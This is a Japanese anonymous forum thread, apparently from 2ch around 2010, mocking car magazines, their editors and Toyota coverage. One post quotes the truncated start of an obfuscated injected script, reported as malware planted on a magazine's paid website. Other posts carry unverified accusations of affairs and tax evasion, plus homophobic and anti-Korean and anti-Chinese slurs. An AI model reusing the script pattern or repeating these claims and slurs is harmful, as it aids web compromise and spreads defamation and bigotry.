今年は廃刊(休刊)ラッシュだろ

質問です。
幾人もの自動車評論家が企画制作会社を経営してますが、
クライアントはどこなのですか？

はぁ？
本気で聞いてる？

>>718
なぜか会社のサイト無いんだよなw

>>719
本気ですが？

driverは月２で出版するほど余裕はあるの？

あと自家用車の値引き交渉術って、
なんかえげつないものがあるな。

おばさんが自動車雑誌に怒ってます。
世の中教えてあげて

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1135340291

おばさんもmag-xウイルスにやられたなw

>>723
おめでたいおばさんだなw

モーターファン別冊の○○のすべてシリーズ、
吉田由美を「由美ちゃん」って呼ぶのはいい加減やめないか？
ちゃん付けで呼ぶような年齢じゃないだろ。

>726
だめだよ、由美ちゅちゅん、って呼ばなきゃ

人を「ちゃん」付けで呼べば
業界の顔だと思っている馬鹿>>712　いるよなｗ

そーいえば、月刊「C」やってた連中は何してる？　田中とか

田中はもう無理だろーｗ

達　幕張来てたか？

>>690-691
「移動のためのクルマはいらない」なんて基地外な事書いてんだから休刊も仕方ない罠ｗ

「C」去年の夏ごろに復刊するとか言ってなかったっけ

>>732
>「移動のためのクルマはいらない」
これはひどいｗｗｗ
こいつらにとって車は床の間に飾っておくものかｗｗｗ

>>703
ウイルス再発させたらしいぞ
サイトの運営もマトモに出来ないんだな

>>733
ジョニーちゃんが、コンビニでバイト中だから、無理！！

>>734
服飾品と同じなんでしょ

おいらの好きなオートメ化、どうしたの？

月刊自家用車って、どーなん？

ttp://minkara.carview.co.jp/userid/427650/blog/16691097/

編プロってヴァカなんだね

>>740
二分されると思う。
こんな、お宅臭プンブンベタ野郎と、もうちょっと小綺麗で鮮麗された人と。
しかし、今時、使ってるパソコンが第１世代imacと第１世代ibookだよ。
つまり、10年間使ってるパソコンだ。
おぇっ

ストップランプって、どうなると割るの

>>740

文章にまとまり無いは、てにをは怪しいはで本当に編プロの人？

>>743

日本語が相当不自由なのか、ブログですらロクな文章を書けていない。

この程度のヤツが作っているのが自動車雑誌。

>>743

http://minkara.carview.co.jp/userid/427650/blog/16776506/

本当にまとまりの無い文章だ

何が言いたいのかサッパリわからんし、文法もめちゃくちゃ

これ、本当に編プロの人なのか？

今月号のNAVI、DSTでレガシイツーリングワゴンとアウディA4アバントだった。
アウディが勝つのは読む前から解ってたけど2点差で勝つと予想したら2.5点差だった。

>>735

>743
早速見てきた。これはひどい。
こんなバカが文書いてお金をいただいてはいけない。

ロクな文章を書けていないブログw
http//www.mag-x.com

トヨタ、米で16％販売減
http://www.chosunonline.com/news/20100204000034

ヨタに殉じて逝く雑誌どこ？

ベストカー

自家用車なんて電車やバスが無い所で仕方なく乗るもんなんだから趣味にすること自体間違いなんだよ。

>>748

ttp://minkara.carview.co.jp/userid/427650/blog/16797910/

なんか開き直ってるけど、他愛無く書こうが、思ったことを書こうが、
日本語がおかしいってのが雑誌の編プロとして致命的であることに気がついていない。

根本的にプロ意識の無い奴が雑誌という言葉を商売にしてお金をもらってはいけないし、
読者を愚弄しているとしか思えない。

こんな奴に編集任せている出版社のレベルが知れる。

のっしー、君がこちらで降臨すればよろし。

同じ編プロ社長でも
ブログでウイルス撒き散らして
内心おどおどしながら
しらばっくれている
馬鹿よりはマシ

先月辺りからオプションやドリ天で急にジェネシスクーペ持ち上げだしたけど在日から圧力でもかかったの？
ヒュンダイが撤退決めてからヨイショしても遅いんだけどｗ

どうしたんだろう？

自動車雑誌は以下の厨房でできています。
基本編
1．FR厨
2．テンロク厨
3．MT厨
4．ドリフト厨
5．直6厨
6．外車厨
応用編
1+2(+3+4)．ハチロク厨
5+6．BMW厨

340 ：匿名希望さん：2010/02/07(日) 22:53:32
「マガジンX」のしんりょうは、
情報提供者をまじに売ろうとしたことがあるから、
これからタレ込もうという人は気を付けろ。
自己保身のためにはペラペラしゃべっから、
表に出てない件も多々あり。
わずかな提供料で、犯罪者になんなよ。

341 ：匿名希望さん：2010/02/10(水) 14:59:50
政治家と同じだな

342 ：匿名希望さん：2010/02/10(水) 21:37:14
ポストにしがみつく癖もなｗ

自分に都合が悪い不倫話は隠蔽

>>746
先月号のイッキ討ちも出来レース。

１年も経たないうちにまたリニューアルしても

部数も増やせない

>>760
今年に入って迷惑メールが急増したんだけど
このブログ個人情報漏らしてんじゃないのか

ホリデーオートｗｗｗ
痛車の起源は本誌ってｳﾘﾅﾗ起源ｗｗｗ

トヨタ広告減でいよいよ。。。

ヨタの広告引き上げなんて数年前から行われてるよ。

ttp://dir.yahoo.co.jp/Regional/Japanese_Regions/Kanto/Saitama/Business_and_Economy/Shopping_and_Services/Food_and_Drink/Restaurants/Sea_Food/Unagi_and_Dojo/

蒲焼発祥の地は埼玉ですよ。　人気順↑埼玉NO1は　ますやNO2は有形文化財？　　たかはしや


ttp://dir.yahoo.co.jp/Regional/Japanese_Regions/Kanto/tokyo/Business_and_Economy/Shopping_and_Services/Food_and_Drink/Restaurants/Sea_Food/Unagi_and_Dojo/

人気順↑東京NO1　NO2ともに有形文化財？　　こまがたどぜう

>>760
363 ：名無しさん＠そうだドライブへ行こう：2010/02/17(水) 00:20:51 ID:lCna7nbe0
トヨタの社長が立派に見える
トヨタを叩く資格は無し
365 ：名無しさん＠そうだドライブへ行こう：2010/02/17(水) 11:43:58 ID:JKGy4wRx0
トヨタの社長　★★★★
Ｘブログ　★

(大笑い)

トヨタ悲惨だな
日本代表のトップ企業が・・・

ヨタの顔色伺いながら
リコールの記事書いている
自動車雑誌こそ惨めｗ

章男ってボロクソに言われてるけど、実際どうなの？

ところでもうすぐ「終了！」のクルマ雑誌はどれなんだ？
いっぱいあるだろうがwww.

こんなところで分かるんだったら誰も苦労しないよｗ

いまや立ち読みする椰子もいないだろｗ

手に取ったら負けというくらい恥ずかしい雑誌だからな。
もともと低脳向けメディアではあるんだけど、今の自動車雑誌は
あまりにも低脳色が全面に出過ぎている。

2006年よりインターネット掲示板「２ちゃんねる」にきわめて不適切な書き込みを続け、自動車専門情報誌に関わる全ての皆様に不快な思いをさせ、ご迷惑・ご心配をおかけしたことをお詫びします。
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　夫馬康雄　　　　　　

ちんぽ

＞777
コンピニで
地べたにしゃがみこんで読んでいるのもいなくなったなｗ

>>769
中の人アイデアもセンスも枯れ果てて
ワンパターンでつまんないよ。

スタッフ総とっかえしたほうが
売れる雑誌になるだろうね。

最近ってゼロヨンのテストやらんの？

章男泣くなよ

取締役副社長は元山と渓谷社社長
取締役はアース・スター エンターテイメント代表取締役（ESEはCCCグループ企業）
監査役は証券アナリスト（？）

>>783
今日もあちこちで泣いてたな
徳光さんかよ

>>769
★自社のブログがウイルスに感染したのを知りながら、
サイトを閉じずに半月以上放置して
ウイルス撒き散らし
２ちゃんねるの書き込みで暴露されるまで
それを隠蔽

だって、捏造だろそれｗ

アンダー３９をせり出すためにはそれくらいのハマ詐欺仲間テロが必要だったてことだろうな

そしてそれ以前にも以降にも


そういった不具合は一切おきていないというご都合ぶりぶり

気持ち悪い文章書くな
馬鹿野郎！！

K子の父は死ぬ寸前までR子一家に吸い取られたんだよなｗ

ＮＡＶＩの最終号って出たのかな？
どこにも売ってないが？

女の子の読者が多い雑誌ってありますか？
興味あるんだけどどれを読んだらいいかわからないんです

>>684
> 最後の最後までみっともないことでw
> http://minkara.carview.co.jp/userid/360795/blog/17073463/
>>791

編集の人間が思い上がってるからだろうな　>For Sale騒動

コバショー以来ずっと勘違いしたまんまだからね

>>793
ありがとう。
本屋何件もさがして疲れたよ。
最後なんだから編集長の好きにやらせてやりゃ良いのに。

>>編集長の好きにやらせてやりゃ良いのに。

本は編集長だけで作って売ってるわけじゃねえんだよ。
それが分からないからこういう事態に陥る。

>>796
もうこいう事態に陥っちゃたんだから別にいいじゃん(笑)
編集長変わったばっかで２号で廃刊じゃ…そのくらいシャレだよ。
大体シャレで成り立ってたような雑誌だしね。

表紙刷り直しって言った役員のがよっぽど勘違いだよ。

この程度の奴が自動車雑誌の編集長Ｗ

最後まで残念な結果。編集長氏には同情するわ。
まあ、この結果が引き起こす金銭的な問題で精神が病まないことを祈る。
おつかれさま。

ＮＡＶＩの馬鹿な電話番の女ってまだいるのかな。
出稿側だったけど、この馬鹿な女が電話に出ると
話がまとまらないどころかメチャクチャにされてしまうので
俺の会社ではみんな嫌ってた。
「私に切れられてもぉー困るんですぅー」とかいう感じ。
俺はゲイなので女は大嫌いだ。

釜がいる車雑誌の変種部ってどこ？

>>799
おいおい
同情するならバカ編集に振り回される連中にしろよ
バカ編集は誌面で言い訳たれる機会もあるが
裏方はその尻ぬぐいさせられるんだよｗ

>>802
雑誌買う読者なんて裏方のことまで考えんわな(笑)

マヌケ編集長や電話番女が
キャリア採用で同業社を渡り歩いてんのが
自動車雑誌ｗ

マヌケ編集長と電話番女がチチクリあってたのが
>>793の会社だったりするし

motonaviは版元変えて復刊だとよ。
河西も綱渡りだな。
本家もそうなのか?

「ウイルス有り」
「反省・謝罪無し」
「情報漏えいで事業聴取有り」
「編集部員との不倫有りが」
「スクープ雑誌きどるが新ネタ何も無し」

「オートサロンよりデトロイト行きゃよかった…」
NAVIは最後まで外車厨を貫き通したな。ここまで来ると清々しささえ感じる。

「東京オートサロン」のガイド本
昨年会場で売っていたのより、はるかにデキがいいなぁ

CR-Zって「評論家がベタ褒めしたクルマは売れない」の典型例になりそうな希ガス。

出たばかりで、もうベタ褒めしてるわけ？
どこでベタ褒めしてるの？

どこの雑誌でもしてる。単体でムックも出てる。
あ、NAVIやCGは無視してたか。

プリウスとかGT-Rとかさ　もう少しアイデア無いのかねぇ
次はトヨタのリコールとか出すぜ　たぶん

金融機関への言い訳作りで、売れないムックの自転車操業するのヤメレ。

>>814
それやってるおかげで延命できてるところがあるから、うちも右に習えになったわけだよね。
まあ、取次も度が過ぎた発刊計画と売れ行きの不味さを問題視するようになってきたから、どこも時間の問題とは思うけど。。。

>>807＝マグぺケ

>>816
533 ：名無しさん＠そうだドライブへ行こう：2010/03/07(日) 17:26:08 ID:sY6UeQ4v0
山形浩生について語るスレ
http://academy6.2ch.net/test/read.cgi/sociology/1170432239/
534 ：名無しさん＠そうだドライブへ行こう：2010/03/07(日) 17:48:36 ID:u/4xy/Z10
自動車と無関係のイカサマライター使っているのは
編集長がなにか弱みでも握られたか、裏金でももらってんだろ
535 ：名無しさん＠そうだドライブへ行こう：2010/03/07(日) 20:59:48 ID:991gmwwa0
結局は編集長が自称ジャーリズム指向
しかも車のことなんてなんにもしらないから、どんどんと内容が壊れていく
知能指数は０に近いから仕方がないんだけど
自然の摂理なんだよ

「ざ総括」なんかは、他人の仕事にケチを付けるだけで
自分達は何も生み出さない典型的な「評論家」様の集い。
内容には明らかに590円の価値が無いと思った。
「Gスポーツ　存亡の危機」なんて記事が乗っているけど
マガジンXも「存亡の危機」だと素直に思いました。

>>他人の仕事にケチを付けるだけで
>>自分達は何も生み出さない典型的な「評論家」様の集い。

いや、評論家ってそういうもんなわけでさ。
問題は、その評論が当たってるかどうかでしょ。

人の命に関わる商品を作っていて
それを評論されたくないってんじゃ
自動車メーカーの資格はないよね。

もっと言うと
>>818も「他人の仕事にケチを付けるだけ」じゃん

それでもいいんだよ。
金出して本を買ったんだから、文句があれば言えばいい。

え？
立ち読みなの？

それじゃ言う資格ないねえｗ

今月もまったく売れていない

ワンパターン誌面

www

身鬼夜も最後には俺の言う通りになるチョロイ奴よ
by神○拝

雑貨もさすがに打ち切りか？

NAVIやCGのライターって20年くらい前にヤンキーと一緒に日本車叩き壊してたんじゃね？って思えるほど日本車嫌いだよな。

それは福野のことか？

日本車つーより日本が嫌いなんじゃね？

>>827
だったら無理して日本に住まなくてもいい罠。
ドイツやイタリアの車が好きならヨーロッパに移住すれば済む話なのに。

…頭の悪い日本人はおれも嫌いだけどな。

173 名前：匿名希望さん ：2010/03/13(土) 22:34:57
ＯＰＴＩＯＮの営業を元レブスピードの人間が担当

611 ：匿名希望さん：2010/03/12(金) 20:55:21
「オプ○ョン２」ってゆー暴走族雑誌が5月発売号をもって休刊が決まった。
交通タイム○社のザッ○ーもリニューアルの効果が無ければ5月で終了みたいだし・・

東京オートサロンのガイド本
昨年会場で売っていたのより、はるかにデキがいいなぁ

ここの編集部にオカマの童貞(35)がいる
http://namidame.2ch.net/test/read.cgi/car/1238227379/l50

プリウスの次はCR-Z、ジュネーブモーターショー
少しは頭使えよｗ

酸エイ、崩壊が始まったな

↑どんな崩壊？

駐車場経営に専念

>>831
休刊目前の雑誌がバイト募集するか？

車雑誌ならｗ

ウイルプラスモトーレンMINI小倉（北九州市小倉北区木町。2ちゃんねるでログ流し疑惑？
　　　面接場所が店舗内でしかも客が来ている最中に面接。普通事務所かせめて裏なのに
　　　常識を疑う。コーヒーの一杯も出ない。面接予定時刻に面接官が遅刻をしたうえに捲くし
　　　立てるような圧迫面接、更に横柄で見下した印象。話していて、利益優先思考で金の無い
　　　やつは客では無いと考えている印象。ネットでググルとろくな整備も出来ず最悪との声が
　　　有る意味が分った。ググルと色々ゴタゴタが有ったらしく何時撤退されるんではとの不安
　　　もある。整備保障等→ドアミラーが動かなくなったとかの電気系のプチ故障が多い。
　　　修理して1ヶ月でまた壊れたとか、購入者に年賀葉書の1枚も送ってこないとかユーザーに
　　　愚痴られてるのがこの会社の体質を示している。 1年ごとの定期検査に20万、車検で60万
　　　毎回とられるので金がもたないってミニ板かどっかで見た気がする。ぐぐってみたら走行中
　　　パワステがいきなりきかなくなって危なかったとかでてくるな。これリコール状態のはず
　　　なんだけど、知らんふりしてこっそり修理してるみたいだ。走行中突然パワステず切れて
　　　操作効かなくなる。何でリコールしないのかわからん。最悪。こりもせずにまたリクナビで
　　　募集。しかも前募集より賃金悪くなってる。面接でも「○○店の事務の応募の方でしたっけ？」
　　　みたいな事言われた。誰が、何の仕事の面接に来てるかすら把握してない人事つてどうなのよ？
　　　て思って速攻辞退した。）

フェラーリのフィギュアが書店コーナー独占してるな

潔く年度末の今月で終わりって所はないの？

416 名前：匿名希望さん ：2010/03/18(木) 02:58:54
tipoはまたどっかの店名間違えてトラブってるし

今月号も特別定価で実質値上げｗ

【日韓/自動車】 日本ダイハツの部品購入団が韓国訪問[3/15]
http://yutori7.2ch.net/test/read.cgi/news4plus/1268631051/

トヨタ自動車：企業情報 > トヨタ関連Webサイトリンク集
ttp://www2.toyota.co.jp/jp/link/index.html

★トヨタグループ

* (株)豊田自動織機
* 愛知製鋼(株)
* (株)ジェイテクト
* トヨタ車体(株)
* 豊田通商(株)
* アイシン精機(株)
* (株)デンソー
* トヨタ紡織(株)
* 東和不動産(株)
* (株)豊田中央研究所
* 関東自動車工業(株)
* 豊田合成(株)
* 日野自動車(株)
* ダイハツ工業(株)

web素人が
雑誌が売れないから、ネットに手を出し恥の上塗り

3月は粛清の嵐w
今まで傲慢＆怠慢の限りを尽くした奴ら、
使えない奴らの末路はいかにw

CGが3億で売れたらしいじゃん。陣容が最悪だけど。

よそでは使い物にならないからな、この業界の編集者は。
いや、ライターもｗ

そりゃ、逆も真なり。

つまり、どちらも使い物にならないと…
大胆な意見だなｗ

>>833
カマになるしかないｗ

あの貧相なチビのことかぁw

ああ、二玄社、終了

新しいオーナーがあれじゃあ、ＣＧもなあ〜

トヨタ、工場の生産車種を集約　人員削減はせず

　トヨタ自動車は２５日、今後数年間で国内の各工場の生産車種を見直し、
ミニバンや小型車などのタイプごとに生産体制を再編する方針を明らかにした。
生産効率を高め、収益が出やすい体質に変革するのが狙い。

　工場によっては、生産ラインの一部廃止や生産規模の縮小の可能性もあるが、
人員削減はせず、転勤にとどめるという。今夏をめどに具体的な計画をまとめる。

　トヨタは完成車を、ダイハツ工業、日野自動車などの子会社を含む全国の１７工場で生産しており、
同じ車種でも生産工場は複数にまたがっている。今後はモデルチェンジの際にどこで生産するかを見直し、
ミニバンや大型車、小型車などのタイプ別に生産を集約し、量産効果を高める。

　大規模リコール（無料の回収・修理）問題を教訓とした品質改善の取り組みも、進めやすくなりそうだ。

47NEWS
http://www.47news.jp/CN/201003/CN2010032501000388.html

非正規社員は"人員"じゃないもんなｗ

>>857
そういるルールだからです。
「ぬーやる」バーガーはしってますか？

今月号もとりあえずスペースだけは埋めただけｗ

早く欠陥自家用車配管しないかな〜

ある書き手に「ここまでギャラが下がってまで続ける意味があるのかな？」とぼやかれた。
皆が知ってるクラスの有名人なんだけど。。。

＞皆が知ってるクラスの有名人
親方？

何年かで業界がなくなるから終わるまで続けて
↓
「ここまでギャラが下がってまで続ける意味があるのかな？」

>>861
もうちょっと待て
>>862
続ける意味はない

マンネリ企画で全然売れてないのに

半年も経たないうちに値上げかよｗ

>>833 608 ：名無しさん＠そうだドライブへ行こう：2010/03/28(日) 18:23:44 ID:c6eUDrwI0
この雑誌のブログ、マルウェアしこんであったみたいだけど

よく寄稿している「すぎもとたかよし」さんのブログ見に行ったらブラウザがマルウェア警告してきたw。
同類相哀れむなんかなぁ。新車心象風景好きなんだけど。

過去の総括読みたいんだけどこんなサイトだとクレカ番号入力する気になれない。

web素人が知ったかぶりして
セキュリティー代をケチって
ウイルスばら撒き＋情報漏えい

お金ください！　「子ども手当て」に外国人殺到で大混乱　ほとんどが中国人と朝鮮人　自治体窓口大混
http://tsushima.2ch.net/test/read.cgi/newsplus/1269839261/l50

いまだにトヨタ叩きを続けている馬鹿雑誌
ピントずれ杉だろｗ

近日中に神田方面からビッグなお知らせ

上野方面からも！

旧防衛庁近くからも！

音羽方面からも！

>>873
なぜ素直に防衛省と言わんのだ？

市ヶ谷の自衛隊駐屯地のことだね

>マセラティの新車、グランカブリオの発表会が開催された。
（中略）
>価格は、1850万円とリーズナブルだ。
こういう金銭感覚を持つヤツをネコから追い出せ！

「サイゾー」で
偉そうにプリウスの揚げ足取りで
トヨタ批判している自動車雑誌の編集長の
税金過少申告と部下との不倫が発覚

時流に乗ったつもりが、まったく的外れなコメントｗ

650 ：名無しさん＠そうだドライブへ行こう：2010/04/02(金) 10:27:17 ID:meXhw3tN0
クソ雑誌MAG-Xで個人的にトヨタ嫌いなだけのバカが、
回復に10年はかかるとか叩いてたのになｗｗ

米国のトヨタネガティブキャンペーンは失敗　トヨタの米販売前年比で4割増
http://tsushima.2ch.net/test/read.cgi/news/1270161402/

http://sports2.2ch.net/test/read.cgi/kouhaku/1268042051/

カマになるしかないｗ

pu

>>878

.

http://tsushima.2ch.net/test/read.cgi/news/1270161402/
米国のトヨタネガティブキャンペーンは失敗　トヨタの米販売前年比で4割増

実家の押し入れ漁ってたら８０年代カーグラとベストバイクとウイリーが出てきたw
カーグラは昔から高慢チキだが、質は高いのね。紙のｗ
ウイリー松浦とかまだ生きてるんだろうか？

いまだにトヨタ、プリウス批判を続けている馬鹿雑誌ｗ

598 ：名無しさん＠そうだドライブへ行こう：2010/04/03(土) 19:49:25 ID:owBj1XOZ0
トヨタグループのコピペ貼ってたやつってアク禁くらってたのか
http://namidame.2ch.net/test/read.cgi/kcar/1267716248/511
そうそう、この愛媛のスバヲタさんですね。
★090825 複数板 ﾄﾖﾀｸﾞﾙｰﾌﾟ|ｵｽｽﾒ2ch|三菱AAﾏﾙﾁ報告
http://qb5.2ch.net/sec2chd/kako/1251/12512/1251264466.html
> 207 名前： ちきちーた ★ 投稿日： 2009/09/16(水) 20:14:50 ID:???0
> ipad\d+matuyama.ehime.ocn.ne.jp　規制

>>888

しかし、別冊出すほど粘着するってのもどうかと思うけどね。

driverの編集部はバブル経済の真っ最中でとても羨ましいです＞＜

>>891
編集長があまりに車に無知で
総括やっていたモロが愛想つかして離れた

>>892
車が移動手段以外って完全に昭和だなｗｗｗ
アゲアゲが死語なのはこの際見逃してやろう。

>>666
今月号もまったく売れてないｗ

自転車操業雑誌に空目ってアクセスしてしまった

ヤンキーカー雑誌ってまだ需要あんの？

編集部にオカマの童貞(３５才）がいる。
http://namidame.2ch.net/test/read.cgi/car/1238227379/l50

>>897
昭和の遺物ｗ

出会い系とか、ベストカーがX化してるなｗ

総括も読む価値なくなったし、読む価値無くなったｗ

668 ：名無しさん＠そうだドライブへ行こう：2010/04/14(水) 23:33:13 ID:0EUtZ+P00
今更感のあるプリウスブレーキ問題なんだが、総括始まって以来の混乱振りだ。
この内容では読者に何の意味があるのか疑問。休載したほうがよかったのでは？

プリウスブレーキ問題の技術解説は論外として
そもそも問題とされた現象がどんなものだったのかですら、理解不足な感じだ。

「物が売れない＋本が売れない＋車が売れない」のトリプルパンチ飯ウマすぎる。

>>903
まだまだ仕分けが足りないぜ

幸福の科学ＶＳワールドメイトＶＳレムリアルネッサンス。

>>893
奈落の底か大破滅w

ベストカー、いまだに30万部発行してるけど
どれぐらい売れてんの？
すごいチャリンカーになってないかｗ

壊疽自訴の実売のが興味あるわｗ

改正下請法に抵触

ホリデーオートFR厨ｷﾀｺﾚｗｗｗｗｗ

『マグX』の記事のレベルなんて前からそんなもんだろw
どんな問題についても、本質を的確に捉えたことは一度もないw

>>910
kwsk

馬鹿編集のオナニー記事

仁Dスレに車雑誌のライター現る。

559 名無しんぼ＠お腹いっぱい [sage] Date:2010/04/17(土) 20:17:30  ID:/A5uzUf60 Be:
    542ですけどFFは車だとは思えないんです…
    それにシビックは悪役が乗っているから嫌なんです！
    FT−86なんて新しい車で峠で勝ってもうれしくもなんともないと思います

>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない
>FFは車だとは思えない

値上げの口実にまたまたリニューアルかよｗ
何度リニューアルしてもマンネリでどうしようもないｗ

どの雑誌がリニューアル？

http://sports2.2ch.net/test/read.cgi/kouhaku/1268042051/

老害編集部で覚えたてのインターネット活用し一歩も歩かず対象メーカーの
WEBコンテンツを「取材」して文章や低解像度の画像を無断借用し始めた。
今日判ったところでは、どうやらWikipediaも取材対象にしてるらしい。
そういえばコピペのやり方訊いてたっけ。(/ω＼)ﾊｽﾞｶﾁｰ

マガジンＸにNAVI休刊の記事
座談会形式だけど、２チャンのネタを寄せ集めたのがバレバレ。

民主党の尻馬に乗っかって、
必死に高速無料化しろと毎号で書き続ける馬鹿雑誌ｗ

>>920
で、実質値上げでどうなったの？ｗ

つか値上げしろｗ

神にはそもそも人脈なんてないだろw
妄想癖が強いから人脈と思っているだけで鼻つまみになっているのがわからないだけw

民主党に媚びてムダを省くだとか誌面でいきがってw
ぜんぜん売れないのに
惰性で出し続けているだけの雑誌＆ムックがいちばんムダだろ

「MAG-X」が新装刊って表紙に書いてあったけど、
何が変わったのかよくわからん
手元にあった２月号と比較してみたら、特別定価５９０円が定価５９０円になっており
ページ数が２０ページ近く減っているのだが、
お値段据え置きでページ減なのがリニューアルの中身だとしたら終わってんなw

あっちこっちで釣られてるバカが居るから
こうやって喜々としてマルチしやがるんだ

部下との不倫編集長が、目次で豊田章男に懸命のゴマすり
いよいよ終末が近いと察して
やばそうな記事は外注の署名入りにして責任転嫁
自分だけトヨタ社長に取り入ろうって魂胆

今週の「俺と疾れ！」は凄すぎるな。
特大寺も編集部も逝ってヨシだ。
舌噛んで死ぬレベル。

オサレ車雑誌の編集とかライターって
ステータス大事にしそうなイメージだけど、
軒並み休刊で今なにやってんだろ？

底辺、編プロとかライターとか、
プライド高くて耐えられない気が。

>>929
その通りだよ。外ズラと口は立派で実情は火の車。
ライターギャラはラーメン情報誌以下で亀ギャラも一日中炎天下and木枯らしに曝されて幼稚園遠足程度しかもらえないんじゃ
せめてプライドぐらいは高くないとなw

新創刊したMAGエッ糞のどこが新しくなってるのか全く分かりません＞＜

スタッフのアイデアも枯れ果ててｗ見出しだけの新創刊

毎月ワンパターンの誌面を埋めるのが精一杯

フェネック、どうなったの

760 ：名無しさん＠そうだドライブへ行こう：2010/04/30(金) 23:54:38 ID:TTGbbopW0
別冊のビジネスムック　全く売れていない。
761 ：名無しさん＠そうだドライブへ行こう：2010/05/01(土) 00:37:58 ID:2XYOJX0j0
別冊ってプリウスの真実とかいうやつか？内容に見るべきところがなんにもない感じだった

　またまた自社サイトでウイルスばら撒いて隠蔽かよ
831 ：名無しさん＠そうだドライブへ行こう：2010/05/04(火) 12:51:37 ID:Cc1LGf1n0
もし有料会員がいたら確認してもらいたいのだが、
http://www.mag-x.com/magx/nifty/charge/0412_1/index.html
http://www.mag-x.com/magx/nifty/charge/0412_2/index.html
これはガンブラーウイルスだよな？
末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-？c^#o^

　　　　　　　　　　↑
有料で運営しているサイトのセキュリティーとはいえないお粗末なレベルｗ

RXー７やミニの専門誌って大丈夫？

>>937
マイナー車種の専門誌は厨の固定客を囲い込んでるから意外に大丈夫。

>>935
またまたウイルス社長がウイルス撒いているのかｗ

ベストカー今号は売れてるで。

FT-86、GRMNのコンパクトFR、ジェネシスクーペ。
この3台を絶賛していない記事が1行たりとも無いって言論統制ぶりが凄すぎｗｗｗ
普通の神経の持ち主ならどう考えても利益の出ないFT-86の開発費を
どこで回収する気なのか疑問に思うもんだが。

>>935
個人ブログにも劣るいい加減なセキュリティのブログに
クレジット情報、個人情報をさらすなんて・・・

>>941
開発費？
下請け苛めたらすぐ回収できるがなｗ

下請けがどこまで耐えられるかが問題だ
http://news.kanaloco.jp/localnews/article/1005130006/

コード売って凌ごうと思ってもどこの誰も買ってくれない時代になったのが痛いなw

ＸaＣＡＲは50万円で交タイに引き取られたとさｗ

【出版】二玄社、自動車雑誌編集から撤退…
『カーグラフィック(CAR GRAPHIC)』新体制に [10/05/10]
http://anchorage.2ch.net/test/read.cgi/bizplus/1273681498/

>>947
早っw
今年度一杯くらいは続けると思ってたのに。

>>947
二玄社って草加系だったのかw

>>935
858 ：名無しさん＠そうだドライブへ行こう：2010/05/14(金) 08:42:37 ID:VZ+Ujk7X0
一度さ、「度重なるウイルスばらまき、猛省を望む」記事を
自分たちで作ってみてほしいよ。
パロディにでもしてさ
そんな技量はないわけだけど、謝罪釈明はしてほしいよな。
言っていることとやっていることが大きくかけ離れている事実をさ

今月号もぜんぜん売れてない
返本率も悪化の一途

>>947
書き込み思ったより少ないな。
NAVI潰れたときも1スレ消費できなかったし、世間の関心はこんなもんか。

>>950
前回のウイルスばら撒きも
MAG-Xスレで騒ぎになったから渋々認めたって感じだし。
スクープ情報提供者が警察に逮捕されたなんて話は
嬉々としてブログに書くくせに、
能書きだけは一丁前で、
中の人の都合が悪い件は全部隠蔽だもんな。

カーボーイってまだ続くのか？

かーぼー

>>953
http://www.mag-x.com/blog/index.html
ウィルス感染警戒　MAG-X口蹄疫（こうていえき)

>>954
表紙にS13シルビアが出てたのには笑った。
もう20年前のクルマでしょ。

>>957
別に新車雑誌じゃねーだろ?
あの手でV36とか使うほうがずれてると思うがな。

>>953
俺たちムックハウス！

皮坊

>>958
そうかな。
表紙にAKB48じゃなくてWinkが出てるようなもんだろw

optioｎ刷り部数45万　ピーク
　　　　　　　　　　17万　now　　

内外まだつぶれないの？

ドリ天編集部を犯罪教唆で業務停止に追い込みてえ。

とめませんよ。

バリバリだぜ。

世間じゃとっくに関心が無くなっている
中国モーターショーとかシャンパイ観光ルポとか
載せるKY雑誌w

シャンパイｗ

教育の崩壊もここに極まれりだな・・・シャンパイ

MAGエッ糞の上から目線ぶりが相変わらずでステキすぎるｗｗｗ

自動車に関係が無い
「記者クラブ」だとか「大マスコミ」だとかww
いかにも相手にされてないことに対する嫉妬丸出し（神×）

>>971
記者クラブが悪なのは分かるがお前とは全く関係ないだろってなｗｗｗ

こいつら記者クラブが仕切ってる会見に行ったこと無いだろｗｗｗ

まだ内外つぶれないの？

燃費詐称疑惑、
再度のウイルスばらまき疑惑を追及せよ

>>970
こっちの不倫ツートップはしぶとく辞めないw

部数も増やせない神に
いつまでムダ金つぎ込んでいるんだろ。

driver月刊化ってやっぱやばかったの？カードラと立て続けだからちょっと驚いた。

それより欠陥自家用車ってまだ廃刊じゃないの？

703 名前：文責・名無しさん ：2010/06/08(火) 23:22:08
誤植も多いし、ろくに校正していないんだなw　
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50

704 名前：文責・名無しさん ：2010/06/11(金) 21:12:30
マスコミが間違った報道をした際にもリコール制度みたいなのがあればいいのにね。
間違った報道をした新聞や雑誌はすべて回収が終わるまで告知を義務付けるとか。

>>980
そんな制度あったら日本の新聞雑誌は毎日回収しないとならないなｗｗｗ

ダメ雑誌とは思うけど
同じ奴が雑誌板やら車板のいろんなスレで延々叩いてるのも鬱陶しいな＞X